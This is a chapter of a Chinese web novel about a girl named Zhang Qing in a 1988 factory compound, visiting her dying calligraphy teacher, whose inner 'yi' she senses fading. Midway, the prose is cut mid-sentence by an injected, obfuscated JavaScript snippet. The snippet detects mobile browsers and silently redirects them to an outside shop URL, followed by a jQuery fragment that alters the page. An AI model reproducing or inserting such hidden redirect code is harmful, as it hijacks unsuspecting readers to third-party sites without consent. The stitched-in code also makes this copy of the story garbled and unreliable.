1988年的春天来得很晚。
正月十五一过，厂区里的积雪才真正开始化。白天太阳照着，雪水顺着房檐往下滴，落在地上砸出一个个小坑。到了晚上，气温降下来，那些小坑就结成薄薄的冰碴子，一踩咯吱作响。厂区里的孩子喜欢在化雪的时候踩冰碴子，放学路上噼里啪啦地踩过去，比谁踩得响。张清以前也踩，现在不踩了，十二岁的孩子觉得那太幼稚了。
张清每天上学放学都走同一条路。那条路是厂区的主干道，两边种着法国梧桐，冬天的时候光秃秃的枝丫交叉在一起，把天空切割成一块一块的碎片。现在那些枝丫还是光秃秃的，只有最顶端的几个芽苞鼓了起来，隐隐透出一点绿意。她每天走过那条路，都会抬头看看那些芽苞，看它们一天天鼓起来，一天比一天大。
她知道这个春天周伯年的身体比年前又差了些。
年前那次写字，张清记得很清楚。那是腊月二十九，她去给周伯年送年货，周伯年坐在火炉边，裹着棉袄，说想写几个字给她看。张清铺好纸，研好墨，周伯年拿起笔，笔尖悬在纸上，晃了很久才落下去。落下去的那一刻张清就明白了——周伯年的手抖得厉害，笔尖在纸上划出一道歪歪扭扭的痕迹，完全不是他平时写的字的样子。
“手冷。”周伯年说。
张清没拆穿他。十二岁的孩子已经学会了不拆穿老人的谎。她只是说“周伯多穿点”，然后把字收起来，说“下次写”。周伯年嗯了一声，把笔放下，端起搪瓷缸子喝了口热水。缸子上印着“为人民服务”五个红字，漆已经掉了一半，露出底下灰白的铁皮。
出了正月，张清再去周伯年那里，一进门就闻到一股浓烈的药味。
不是以前那股中药气。张清对那种味道很熟悉，周伯年屋里常年飘着墨香和药香混在一起的味道，她闻了一年多，早就习惯了。但这次的药味不一样，苦、涩、冲，呛得人鼻腔发紧。如有人把一整捆柴胡和黄芪塞进了烟囱里倒灌进来，在整个屋子里弥漫着，经久不散。空气里还有一股潮气，混着药味，让人觉得浑身黏腻。
周伯年坐在床边，身上披着件旧棉袄。那棉袄是军绿色的，布面洗得发白，膝盖和袖口打着补丁。张清记得那件棉袄，从她认识周伯年开始，周伯年就穿着这件棉袄，冬天穿，春天穿，现在开春了还在穿。火炉生着，炉盖烧得通红，热气从炉口往外冒，但周伯年的脸色还是灰的，眼窝陷进去，颧骨凸出来，整个人瘦了一大圈。
“周伯。”张清站在门口，叫了一声。
“进来。”周伯年嗓子像被砂纸磨过，声音又哑又涩，“把门带上，漏风。”
张清关上门，走进去。她看见床头柜上摆着好几个药瓶，有玻璃的有塑料的，乱七八糟地堆在一起。还有一个老式的陶瓷药罐，盖子没盖严，隐约能看见里面黑乎乎的膏状物，旁边放着一把铜勺子，勺柄上缠着纱布，大概是挖药用的。柜子上还放着两只搪瓷缸子，一只是“安全生产”，一只是“学习雷锋”，都是厂里发的那种，漆掉得斑斑驳驳。
“吃药了？”张清问。
“吃了大半个冬天了。”周伯年摆摆手，“不管用。”
他说这话的时候语气很平，像在说今天天气不好，或者墨锭研得不够细。张清不知道该怎么接。她想说“换个大医院看看”，但又觉得这话说出来太轻飘。厂区职工医院她去过，医生看病就是老三样：青霉素、土霉素、嗓子疼就加几片甘草片。有一次她发烧去看病，医生用听诊器听了听，又看了看嗓子，二话不说就开了青霉素。她后来再也没去过那家医院。
张清在床边找了张凳子坐下。她注意到周伯年的手放在膝盖上，那双手比年前更瘦了，青筋如老树根一样盘在手背上。指节突出，骨节分明，皮肤松弛地挂在骨头上。那些青筋张清以前也见过，在赵庄的时候，奶奶老了以后手上也是这个样子，血管鼓出来，皮肤下面青筋一条一条的。但奶奶的手没有这么抖。周伯年的手指在轻微地颤，那种颤源自骨头缝里，与冷暖无关。
“最近练字了？”周伯年问。
“练了。”张清说，“每天放学写一张。”
“写什么？”
“安字。”张清说，“还有您上次教的’静’字。安字写得多些，静字还在练。”
周伯年点点头，没再说话。他闭上眼睛，喉咙里发出一阵呼噜呼噜的声音，如有东西堵在那里，上不来又咽不下去。他的眉头皱着，额头上沁出一层细汗。张清看着他，不知道该不该问。
然后那声咳嗽就来了。
不是轻轻的咳，是那种从肺底往上涌的、撕心裂肺的咳。周伯年整个身子都在抖，肩膀耸起来，脑袋垂下去，咳得整个人如一张被揉皱的纸。他的背弓着，双手撑在膝盖上，每咳一声身体就往前倾一下。喉咙里发出的声音很吓人，是那种湿漉漉的、带着痰音的咳，好像要把肺都咳出来。张清小时候在赵庄见过邻居王大爷犯哮喘，也是这样咳，咳得整个人缩成一团，脸上的表情痛苦得变形。
张清站起来想去扶他，被周伯年摆手制止了。
“别动。”周伯年从嗓子眼里挤出两个字，声音嘶哑得几乎听不清。
咳嗽持续了很长很长时间。少说也有两分钟，中间几乎没有停顿。张清站在那里，手足无措，看着周伯年的背一下一下地弓着，喉咙里发出那种让人揪心的声音。她想起小时候发烧，也是这样咳，那时候奶奶会把她抱在怀里，用手拍她的背，一下一下的，直到她把痰咳出来。但现在没有人来拍周伯年的背。
终于，咳嗽停了。
周伯年喘着粗气，脸上泛起不正常的潮红。他用手背擦了擦嘴角，那里有一抹血色——张清假装没看见。她看见周伯年嘴角有一滴水渍，也假装没看见。周伯年勉强坐直身子，冲张清摆了摆手。
“没事。”他说，“老毛病了，犯起来就这样。”
张清没说话。她看着周伯年，胸口有什么东西在动。
她能看见。
周伯年身上的“意”在散。
那是一种很难形容的感觉。张清说不清楚那是什么，只是一种感知。自从学会读意路图，她就能看见人身上的意，不是用眼睛看，是用一种更深层的感知。那些意如人身上散发出来的气场，有的浓有的淡，有的稳有的乱。普通人身上的意她看得模模糊糊，但亲近的人身上的意她能看得很清楚。
周伯年身上的意以前是山。
张清记得第一次见到周伯年的感觉。那时候她刚来厂区不久，去周伯年家里拜年，一进门就感觉到了，周伯年身上有一种很重的东西，沉甸甸的，压在地上，让人觉得他往那里一坐，整间屋子都稳了。她后来才知道那是什么，是周伯年几十年练字积累下来的意，是他的笔意、他的字意、他这个人本身的意。那种意是山，稳稳当当的山，风吹不动，雨打不动。
但现在那座山在风化。
张清能看见那些砂石从山顶往下流，一点一点地，散得越来越快。那不是正常的散失。正常的散失如秋天树叶落下来，悄无声息的，慢慢悠悠的。但周伯年身上的意散得很快，如被什么东西在抽，一点一点地往外抽，抽得人心里发慌。她不知道那是什么。是病？是年龄？还是别的什么？她只知道，周伯年身上的意比她认识他以来任何时候都要淡。
“张清。”周伯年叫了她一声。
“嗯。”
“你过来。”
张清走到床边。周伯年伸出手，抓住她的手腕。那只手很凉，凉得像刚从井里捞出来的石头。但握力还在，指尖的老茧蹭着张清的皮肤，那是几十年握笔留下的痕迹。那些茧子很硬，磨也磨不掉。
“你的笔胆，”周伯年问，“多少道纹了？”
“还是十六。”张清说。
周伯年笑了笑。那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809215|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个笑很浅，嘴角只是微微扬了一下，如风吹过水面留下的一道涟漪，一眨眼就消失了。张清记得去年除夕的时候周伯年也笑过，那次笑比这次明显，嘴角扬得更高，眼睛里也有笑意。但这次的笑不一样，很淡，淡得几乎看不出来。
“不急。”周伯年说，“纹路这东西急不来。有些人一辈子也到不了十六道，有些人……”
他的话没说完，又咳了起来。
这次的咳嗽没有刚才那么剧烈，但持续得更久。周伯年的身体弓成一团，咳得整个人都在发抖。他抓着张清的手腕，指节因为用力而发白。张清感觉到那只手在抖，那种抖那种抖带着整个身体的共振。她想挣脱，但又怕伤到周伯年，只好任他抓着。
咳完之后，他靠在床头喘了好一会儿。脸色比刚才更差了，嘴唇都有些发白。他松开张清的手，摆了摆。
“你回去吧。”周伯年说，“今天不练了。”
“周伯，”
“回去吧。”周伯年闭上眼睛，“我累了，想睡会儿。”
张清站在那里，看着周伯年闭着眼睛的脸。老人的眉头皱着，皱纹如干涸的河床，一道一道地刻在额头上。脸颊凹下去，颧骨凸出来，嘴唇干裂得起皮。呼吸逐渐平稳下来，像是睡着了。但张清知道这不是真正的睡着，太累了，累到连睁开眼睛的力气都没有了。
她轻手轻脚地往外走。
经过堂屋的时候，周伯年的老伴正在厨房里煎药。药罐子在炉子上咕嘟咕嘟地响，苦涩的气味弥漫得到处都是。张清路过厨房门口的时候，老太太正好端着药碗出来，看见张清愣了一下，想说什么，张清先开口了。
“周伯睡着了。”她说，“我改天再来。”
老太太张了张嘴，最后只是叹了口气，点了点头。她端着药碗转身进了里屋，脚步声很轻，如怕吵醒什么人。张清看着她进去的背影，头发白了大半，腰也弯了，走路的步子有些蹒跚。
张清走出院子，站在门外。
天已经擦黑了。厂区的路灯刚亮，昏黄的光照在化了一半的雪水上，泛出一片片碎银。那些碎银在风里晃动，一闪一闪的，如有人在水面上撒了一把碎玻璃。远处有人在喊孩子回家吃饭，声音拖得老长，在空气里转了几个弯才散掉。厂区的大喇叭正在播新闻，说的是什么张清没听清，风把声音吹得支离破碎。
张清站在原地，呼出一口白气。
她忽然想起去年冬天，周伯年坐在火炉边跟她说的话。
“脚印够多了，走路的人就不重要了。”
那时候周伯年说这话的时候，声音还是稳的，手还是稳的，咳嗽也没这么厉害。张清记得他说话时的样子，盘腿坐在火炉边，炉火映着他半边脸，眼睛里有一种说不清道不明的东西。那时候张清不太懂那是什么，现在她懂了。那是一种已经准备好接受任何结果的心态，是看透了生死之后才会有的平静。
现在她懂了。
周伯年说的“自然的事”，正在发生。
她低头看着自己的手。那只手还算白净，指尖有些茧，是练字磨出来的。十六道纹路的笔胆在胸口跳了一下，很轻，如叹息。
她抬起头，看了眼周伯年家的窗户。窗户里亮着灯，灯光透过窗帘照出来，暖黄色的，一动不动。窗帘是旧的，印着牡丹花的图案，红色已经褪成了粉色，边缘有些发黄。窗台上摆着一盆花，是君子兰，叶子绿得发亮，大概是老太太在照料。
风从东边吹过来，带着化雪天特有的湿冷。梧桐树的枝丫在头顶沙沙作响，最顶端的几个芽苞在风里晃了晃。张清知道，再过些日子，那些芽苞就会炸开，吐出嫩绿的叶子，把整条路都罩起来。到时候这条路就走不了了，要从旁边绕。但那是以后的事了。
她把手插进口袋，转身往家走。
她不知道周伯年还能撑多久。但她知道，有些东西不能再等了。